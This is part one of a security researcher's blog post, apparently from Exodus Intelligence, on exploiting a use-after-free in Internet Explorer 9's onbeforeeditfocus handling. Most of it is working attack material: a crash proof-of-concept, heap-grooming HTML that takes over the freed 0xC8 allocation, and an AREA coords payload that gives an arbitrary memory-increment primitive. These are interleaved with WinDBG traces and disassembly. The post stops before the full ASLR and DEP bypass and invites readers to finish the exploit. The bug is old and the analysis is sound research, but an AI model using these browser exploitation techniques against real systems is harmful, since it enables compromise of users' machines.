A browser is only as strong as its weakest byte

Back in September, FireEye posted a blog entry discussing CVE-2013-3147, a vulnerability in Microsoft Internet Explorer. They pointed out that Microsoft patched the issue on July 9th in Bulletin MS13-055. While reading their post it dawned on me that I had discovered a similar issue as far back as January this year. The usage of the onbeforeeditfocus event was what caught my attention, and upon installing the aforementioned patch from Microsoft, I confirmed that they silently fixed my bug, too. As we at Exodus had been shipping an exploit to our customers for this issue since January, we figured an adequate amount has time has passed and we can now share some details here on our blog.

The vulnerability we discovered was also an use-after-free vulnerability (as is often the case with browser issues) that involved event handlers and some other miscellaneous Javascript constructs. The exploit I wrote bypassed ASLR through a forced memory disclosure and Data Execution Prevention through the usual ROP chain trickery. The actual exploit is non-trivial, so bear with me with me and expect some minimal shortcuts to be taken in the following explanation.

The Crash

First of all, lets dump a poc that causes the crash:

<!doctype html>
<HTML>
  <head>
    <script>
      function setinput() {
        try { document.write('Timber'); } catch(e) {}
      }
      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

If you open this file in Internet Explorer 9 (from a website, not as a local file) you might get a crash that looks like this:

This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00000010 edx=0000006a esi=00000000 edi=00000000
eip=71e0e0d0 esp=0327cb8c ebp=0327cb98 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
MSHTML!CHTMLEditor::FireOnSelectionChange+0xb:
71e0e0d0 8b01            mov     eax,dword ptr [ecx]  ds:002b:00000010=????????
1:019> ub
MSHTML!CSelectionManager::EndSelectionChange+0x8e:
71e0e0c4 90              nop
MSHTML!CHTMLEditor::FireOnSelectionChange:
71e0e0c5 8bff            mov     edi,edi
71e0e0c7 55              push    ebp
71e0e0c8 8bec            mov     ebp,esp
71e0e0ca 51              push    ecx
71e0e0cb 51              push    ecx
71e0e0cc 53              push    ebx
71e0e0cd 8d4f10          lea     ecx,[edi+10h]

This might look like it is a NULL-pointer dereference: edi == NULL; ecx gets set to edi + 0x10; and then ecx is dereferenced. Since, as far as I know, NULL pointer dereference vulnerabilities are not exploitable in Internet Explorer this does not look useful. But this is not the actual crash, and to see where things first go wrong we simply turn on pageheap and user mode stack trace database for iexplore.exe.

gflags.exe /i iexplore.exe +hpa +ust
Current Registry Settings for iexplore.exe executable are: 02001000
    ust - Create user mode stack trace database
    hpa - Enable page heap

Running the poc again gives us the following information:

(87c.fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00008000 ebx=0e62afd8 ecx=7746389a edx=02bb10d0 esi=ffffffff edi=0ed3af38
eip=71e43f37 esp=08c9caa0 ebp=08c9cab8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e43f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:0ed3af70=????????

1:019> lmi vm mshtml
    File version:     9.0.8112.16446

1:021> k
ChildEBP RetAddr
08c9cab8 71e43ed1 MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52
08c9cacc 71e43e85 MSHTML!CSelectionManager::ShouldElementShowUIActiveBorder+0x2e
08c9cae4 71e4308f MSHTML!CSelectionManager::SetEditContext+0xdf
08c9cb50 71cce2fd MSHTML!CSelectionManager::SetEditContextFromElement+0x34e
08c9cb90 71ccdb7d MSHTML!CSelectionManager::SetEditContextFromCurrencyChange+0x2d6
08c9cbb8 71ef200f MSHTML!CSelectionManager::Notify+0x1e0
08c9cbcc 71ef1fc2 MSHTML!CHTMLEditor::Notify+0x5a
08c9cbe8 71ccce15 MSHTML!CHTMLEditorProxy::Notify+0x21
08c9ccd0 71d9a7a4 MSHTML!CDoc::SetCurrentElem+0x525
08c9cd2c 71ccdef8 MSHTML!CElement::BecomeCurrent+0x1d6
08c9cd60 71c51018 MSHTML!CElement::focusHelperInternal+0x109
08c9cd78 710d85fe MSHTML!CFastDOM::CHTMLElement::Trampoline_focus+0x58
08c9cdac 71116402 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9ce00 08d804da jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117
WARNING: Frame IP not in any known module. Following frames may be wrong.
08c9ce58 710d85fe 0x8d804da
08c9ce94 710d8523 jscript9!Js::JavascriptFunction::CallFunction+0xc4
08c9cef8 710d845a jscript9!Js::JavascriptFunction::CallRootFunction+0xb6
08c9cf34 710d83e6 jscript9!ScriptSite::CallRootFunction+0x4f
08c9cf5c 71119c8d jscript9!ScriptSite::Execute+0x63
08c9cfc0 71df27b9 jscript9!ScriptEngine::Execute+0x11a
08c9d044 71df26e3 MSHTML!CListenerDispatch::InvokeVar+0x12a
08c9d064 71e4d050 MSHTML!CListenerDispatch::Invoke+0x40
08c9d0e8 71d4e894 MSHTML!CEventMgr::_InvokeListeners+0x187
08c9d110 71e4d147 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc
08c9d2d4 71edc03c MSHTML!CEventMgr::Dispatch+0x3cc
08c9d2fc 71df2ab0 MSHTML!CEventMgr::DispatchEvent+0xc9
08c9d330 71dc4062 MSHTML!COmWindowProxy::Fire_onload+0x123
08c9d394 71dc3c7a MSHTML!CMarkup::OnLoadStatusDone+0x5eb
08c9d3b4 71dc3c6f MSHTML!CMarkup::OnLoadStatus+0xb6
08c9d804 71d2ffbc MSHTML!CProgSink::DoUpdate+0x5dc
08c9d814 71eaa339 MSHTML!CProgSink::OnMethodCall+0x12
08c9d850 71ec9ba0 MSHTML!GlobalWndOnMethodCall+0x115

1:020> ub
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x36:
call    MSHTML!EdUtil::FireOnEvent
mov     dword ptr [ebp-8],eax
shl     eax,0Fh

I wont be going into the details and root cause analysis for this crash but will mainly focus exploitation, but the main concept is that the body.onload() function triggers the onbeforeeditfocus handler to be called and the function apparently deletes some important data that causes a crash once we return from the ‘FireOnEvent’ function.

Unfortunately the VM I’m playing on has an windbg version that sometimes fails the user stack trace lookup, so I cannot show you that trace at this point. I can tell you the size of the allocation however, thanks to Fermin’s subtraction technique:

1:019> .printf "size is 0x%x", 1000 - edi & 0xFFF
size is 0xc8

So we know we are freeing a size 0xC8 piece of memory that contains some data that is being reused later on. Time to assess the exploitability of this issue, and mainly the exploitability when running with full process ASLR (no cheating as many public exploits these days seem to do).

First off all we need to check if we can replace the freed memory with our own data. Thanks to the Low Fragmentation Heap (LFH) this is pretty easy, by simply allocating 0xC8 bytes after the document.write() call we should re-occupy the last freed slot of 0xC8 sized memory. To make sure this allocation size uses the LFH allocator we make a few allocation of this size before we start the whole fun.

Setting a breakpoint at the initial crash location allows us to inspect our progress (don’t forget to turn off PageHeap to make sure the LFH allocator will be activated).

Actually, if at this point you want to stop reading and try to create the exploit yourself, go ahead and do so as spoilers are on the way.

Control

Back to the progress: taking control over freed memory:

<!doctype html>
<HTML>
  <head>
    <script>

      lfh = new Array(20);
      for(i = 0; i < lfh.length; i++) {
        lfh[i] = document.createElement('div');
        lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
      }

      function setinput() {
        try { document.write('Timber'); } catch(e) {}
        d = document.createElement('div');
        d.className = "uFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFFuFFFF";
      }

      function loaded() {
        document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
        document.getElementsByTagName('input')[0].focus();
      }
    </script>
  </head>
  <body onload="loaded();">
    <input value="mydata" type="text"></input>
  </body>
</html>

Lets run this and watch the effects:

1:019> bp !mshtml + 0x383f37  ".printf "AFTER FireOnEvent : edi %p", edi; .echo; dc edi L0xc8/4;.echo;"
AFTER FireOnEvent : edi 1072a440
1072a440  71eb2d04 71eb320c 00000002 106f4920  .-.q.2.q.... Io.
1072a450  106eff10 106eff38 107309a0 00000000  ..n.8.n...s.....
1072a460  107308e0 00000000 00000000 0000000f  ..s.............
1072a470  00000001 00000000 00908002 00000000  ................
1072a480  00000000 00000000 00000000 00000000  ................
1072a490  106c3dc0 00000000 ffffffff 00000000  .=l.............
1072a4a0  00000000 00000000 00000000 00000000  ................
1072a4b0  00000000 107309a0 00000000 00000000  ......s.........
1072a4c0  00000000 106c3dc0 1072cd88 1072ce40  .....=l...r.@.r.
1072a4d0  00000000 106efe20 106efe48 106efe70  .... .n.H.n.p.n.
1072a4e0  106efe98 106efec0 106efee8 00000000  ..n...n...n.....
1072a4f0  00000000 00000000 00000000 00000000  ................
1072a500  00000000 00000000                    ........

eax=00008000 ebx=107309a0 ecx=00000000 edx=00000001 esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330cca8 ebp=1330ccc0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=02809000
1:019> g
AFTER FireOnEvent : edi 1072a440
1072a440  ffffffff ffffffff ffffffff ffffffff  ................
1072a450  ffffffff ffffffff ffffffff ffffffff  ................
1072a460  ffffffff ffffffff ffffffff ffffffff  ................
1072a470  ffffffff ffffffff ffffffff ffffffff  ................
1072a480  ffffffff ffffffff ffffffff ffffffff  ................
1072a490  ffffffff ffffffff ffffffff ffffffff  ................
1072a4a0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4b0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4c0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4d0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4e0  ffffffff ffffffff ffffffff ffffffff  ................
1072a4f0  ffffffff ffffffff ffffffff ffffffff  ................
1072a500  ffffffff 0000ffff                    ........

eax=00008000 ebx=10730a60 ecx=0000005d edx=0000005c esi=ffffffff edi=1072a440
eip=71e03f37 esp=1330c960 ebp=1330c978 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
MSHTML!CSelectionManager::FireOnBeforeEditFocus+0x52:
71e03f37 334738          xor     eax,dword ptr [edi+38h] ds:002b:1072a478=ffffffff

As can be seen we have successfully taken over the freed memory allocation (the breakpoint hits twice and the 2nd time is when it was originally freed memory) and are now operating on data under our control. Next question is: “What now?”. First of all this does not seem to be one of those easy ‘control virtual function table and then control program flow’ style use-after-frees. At this point you should probably dig deeper and look into what the object/memory is supposed to be before it is freed to gain more insight and what route to take toward exploitation, but we wont do that to spare you some reading and me a lot of typing. It is also possible to create different types of crashes that might give you faster vftable control, but we’ll be working with this version since it allows us to do funny things.

We will start to just look at the function at the point of the crash and work from them under the assumption that we control the memory in [edi]. Opening the crash location and selecting ‘edi’ at the crash point shows us that edi comes from eax at the beginning of the function.

1-edi-assigned

We also see that the result of the ‘EdUtil::FireOnEvent’ call is used to determine a jump at the end of the basic block:

2-eax-jnz

The result of the function is ‘1’ resulting in the the jnz not being taken and the function ending shortly after that without using the freed data again. Of course, you really need to dig into the function and find out why it returns 1 and not 0 which gives you much more exploitation flexibility, but again: shortcut time, we’re not doing that here.

3-jnz-to-retn

We’ll need to go up a few function to find a place where the freed memory is being accessed again. You can use the call stack or code cross references in IDA to do that, or step through it in WinDBG, whichever you prefer. You should be able to figure out that in “MSHTML!CSelectionManager::SetEditContext+0xf2:” the memory is used again, but nothing thereabouts seems to be too useful:


71e03e93 836738f7        and     dword ptr [edi+38h],0FFFFFFF7h ds:002b:0083b968=ffffffff

Tracing further will tell you that you’ve ended up inside CSelectionManager::EndSelectionChange with controlled memory being set to eax just before the call:

4-Call-EndSelection

This is where things get interesting. If you need a break from my ramblings I suggest you take a look at the function, assuming that you can control the data in eax at the beginning of the function and find an interesting path through to the epilogue. When working in a fully-ASLRed process there are a few ways that I can currently think of that will not crash:

  1. Replace freed objects with other objects so virtual calls are correctly resolved into a module
  2. Avoid any and all virtual function calls
  3. use USER_SHARE_DATA to call LdrHotPatchRoutine

I have created a PNG of the whole function by taking a few screenshots and pasting them together in a graphics editor, mspaint.exe (there are probably better approaches to that but, hey, this worked). Use right click: open in new tab/window if your screen size isn’t big enough to read it when you click it normally.

5-Full-EndSelection

I highlighted ‘esi’ in the function since that is the register that points to our data. The thing that caught my eye when I was looking at this was the following code:

.text:63904388 loc_63904388:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)-22579Fj
.text:63904388                 mov     esi, [esi+0Ch]
.text:6390438B                 test    eax, eax
.text:6390438D                 jnz     loc_6378E064
.text:63904393                 inc     dword ptr [esi+0A0h]
.text:63904399                 jmp     loc_639B2DD2

If we can reach that block without crashing and with eax set to the correct value (0x0) we can INCrement whatever memory address that we want. This seems somewhat limited but we’ll get back to that later. First lets try to reach that block and once we reach the problematic situation we can worry about actual pursuit of exploitation.

If we slowly step through the function we will see what values we need to have in our controlled memory to be able to reach the code without crashing. If you at this point are working with a non-ASLR library you want to take a different path that leads to a virtual function table call with the pointer under your control, but that’s not what we are after.

Stepping through the function show us:

.text:639B2DAE                 dec     dword ptr [esi+90h]
.text:639B2DB4                 mov     eax, [esi+90h]
...
.text:639B2DC3                 test    eax, eax
.text:639B2DC5                 short loc_639B2DD2

[esi+0x90] should be 0x1 at the beginning.

.text:6390282A loc_6390282A:                           ; CODE XREF: CSelectionManager::EndSelectionChange(int)+15j
.text:6390282A                 shl     ecx, 4
.text:6390282D                 xor     ecx, [esi+3Ch]
.text:63902830                 and     ecx, 10h
.text:63902833                 xor     [esi+3Ch], ecx
.text:63902836                 jmp     loc_639B2DC3
.
.
.
.text:639B2DC7                 mov     eax, [esi+3Ch]
.text:639B2DCA                 test    al, 10h
.text:639B2DCC                 jnz     loc_63904352

[esi+0x3C] need to pass some test for 0x10, so we’ll just poke at that until it complies.

The block of code we want to reach requires eax to be 0x0 to take the right jump. For this to happen we need to trace back where eax is being set and figure out which path we need to walk to get there. There are two places right above the block we want to reach that can set eax:

loc_6378D607:
mov     eax, edi

and

.text:6390437C                 test    byte ptr [esi+3Ch], 2
.text:63904380                 jnz     loc_6378D607
.text:63904386                 xor     eax, eax

A little inspection show that edi will be non zero at the point where edi is moved to eax, so the only route we can take is the ‘xor eax, eax’ path. To reach this we need to survive through additional functions:
CSelectionManager::GetTrackerType‘ and ‘CSelectionManager::ShouldCaretBeInteractive‘ and both need to return the right return values. This can be achieved without too much hassle.

CSelectionManager::GetTrackerType should return either 1 or 2 which can be achieved by having our data + 0x50 point to memory where at offset 0xC you can find the value 0x1 or 0x2:

6-CTrackerType

The other function: CSelectionManager::ShouldCaretBeInteractive, is a little bit more complex, but can also be navigated through without the process crashing. I will not sit you through that but instead will point out that you can find a value of 0x1 inside the USER_SHARE_DATA at a 0x7ffe0240. I think it’s about time to test a proof of concept that will allow us to INC dword ptr [0xCONTROLLED] and then go from there.

To do this we need to be able allocate an 0xC8-sized piece of memory and fill it with data under our control including values of u0000 (we need 0x1 at offset +0x90). The element.className trick we used in our previous sample wont cut it since the string will terminate at the first u0000 it encounters. There are however plenty more way to have some fun with the heap in Internet Explorer 9. One of the tricks I like to use consists of the following lines of code:

a = document.createElement('area');
a.shape = 'poly';
a.coords = '1,2,3,4,5,6,7,8,9,10';

This snippet creates an AREA element, set its shape to be a polygon and then assigns a list of points (x,y) to its ‘coord’ property. This results in an allocation that consists of:
[NUMBER_OF_POINTS][X][Y][X][Y] …. with all the values converted to hex double words. Using this we do not control the first 4 bytes of the allocation but we’ll be able to easily control the rest and set it to values we want. This results in the proof of concept shown below:

<!doctype html>
<HTML>
	<head>
		<script>
			lfh = new Array(20);
			for(i = 0; i < lfh.length; i++) {
				lfh[i] = document.createElement('div');
				lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
			}

			function setinput() {
				try { document.write('Timber'); } catch(e) {}
				d = document.createElement('area');
				d.shape = "poly"
				d.coords = "1,2,606348324,4,5,0,7,8,9,10,11,12,13,14,13,16,17,18,19,2147353180,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,1,37,38,39,40,41,42,43,44,45,46,47,48";
			}

			function loaded() {
				document.getElementsByTagName('input')[0].attachEvent("onbeforeeditfocus", setinput)
				document.getElementsByTagName('input')[0].focus();
			}
		</script>
	</head>
	<body onload="loaded();">
		<input value="ExodusIntel" type="text"></input>
	</body>
</html>

This cause the following crash in IE:

(638.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=131ec89c edx=00000033 esi=24242424 edi=00000001
eip=71e04393 esp=131ec8a0 ebp=131ec8d8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
MSHTML!CSelectionManager::EndSelectionChange+0x87:
71e04393 ff86a0000000    inc     dword ptr [esi+0A0h] ds:002b:242424c4=????????

So there you have it, our exploit primitive allows us to INCrement data at a single 4 byte address of our choosing. Is that enough to

  1. Force a memory disclosure needed to bypass ASLR
  2. Control the flow of the execution with enough control to bypass DEP

The answer is of course Yes, otherwise I wouldn’t be writing this blog. As a matter of fact, I found two somewhat distinct ways to do this.

And…. my time is up for this week. I will write the follow up with at least one exploit and publish it next week after Thanksgiving, anyone who sends me either a workable idea, or even better, an actual working exploit will get a shoutout in Part 2.

A few notes on the exploit I wrote:

  • Due to the requirements our memory replacement has (size 0xC8, some specific values at certain offsets) we’re almost certainly stuck with a ‘fixed’ address as the memory address we can INC. Feel free to add a heapspray if you need.
  • We will only trigger the ‘crash’ once and thus the initial exploit primitive of INC[memory] will be used for both a memory disclosure followed by process control.

To be continued….